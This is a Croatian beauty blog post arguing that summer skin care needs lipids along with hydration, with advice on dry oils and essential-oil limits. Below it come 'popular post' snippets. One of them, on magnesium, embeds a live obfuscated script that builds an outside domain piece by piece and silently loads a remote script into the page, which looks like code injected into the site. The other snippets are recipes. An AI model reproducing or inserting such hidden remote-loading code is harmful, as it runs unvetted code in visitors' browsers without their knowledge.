ZAŠTO HIDRATACIJA NIJE DOVOLJNA BEZ LIPIDA?





Zašto hidratacija nije dovoljna bez lipida?




Tijekom ljeta većina nas poseže za osvježavajućim mistovima, laganim kremama i proizvodima koji će pomoći koži da se nosi sa suncem, vjetrom, morskom soli i visokim temperaturama. No iako je hidratacija važna, često zaboravljamo da sama voda nije dovoljna. Kako bi koža ostala meka, elastična i ugodna na dodir, potrebna joj je i kvalitetna lipidna njega.



Zašto su lipidi važni?

Naša koža prirodno sadrži vodu i lipide koji zajedno čine zaštitnu barijeru. Dok hidratantni proizvodi pomažu nadoknaditi vlagu, lipidi pomažu smanjiti njezin gubitak i očuvati zaštitnu funkciju kože.



Najjednostavnije rečeno – hidratacija donosi vlagu, a lipidi pomažu zadržati je u koži.

To je posebno važno za žensku kožu koja je prirodno tanja i osjetljivija na promjene u razini vlage i lipida.



Zašto ljeti ne volimo klasična ulja?

Osobno tijekom ljeta izbjegavam uljne preparate jer ne volim mastan i težak osjećaj na koži. Upravo zato posljednjih godina sve veću popularnost imaju suha ulja.

Unatoč nazivu, suha ulja nisu “suha”. Riječ je o formulacijama koje se brzo upijaju, ne ostavljaju masni film i pružaju ugodan, svilenkast osjećaj na koži.

Najbolje ih je nanositi nakon hidratacije ili nakon korištenja mista za lice i tijelo. Na taj način pomažu očuvati vlagu u koži, omekšavaju njezinu površinu i doprinose zdravom, njegovanom izgledu.



Kako odabrati sastojke?

Prilikom izrade suhog ulja najvažnije je odabrati biljna ulja prema tipu kože i namjeni proizvoda.

Za lice često biramo laganije i luksuznije formulacije. Posebno zanimljiv sastojak za ljetnu njegu je uljni macerat aloe vere- moj omiljeni. Iako je aloe vera najpoznatija u obliku gela, njezin macerat u biljnom ulju pruža vrlo ugodan osjećaj na koži te se često koristi u formulacijama namijenjenima suhoj, osjetljivoj i suncem opterećenoj koži.

Za tijelo su odličan izbor ulje slatkog badema, ulje koštice marelice, jojoba i ulje lješnjaka. Ova kombinacija pruža njegu, lako se razmazuje i ostavlja kožu mekom bez neugodnog masnog osjećaja.



Eterična ulja tijekom ljeta – manje je više

Kod ljetne njege vrijedi pravilo umjerenosti. U proizvodima koji ostaju na koži preporučuje se koristiti do 0,3 % eteričnih ulja kako bi se smanjila mogućnost neželjenih reakcija tijekom izlaganja suncu i pojačanog znojenja.

Za osobe koje ne žele koristiti eterična ulja, dobra alternativa mogu biti kozmetički mirisi namijenjeni izradi kozmetičkih proizvoda.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više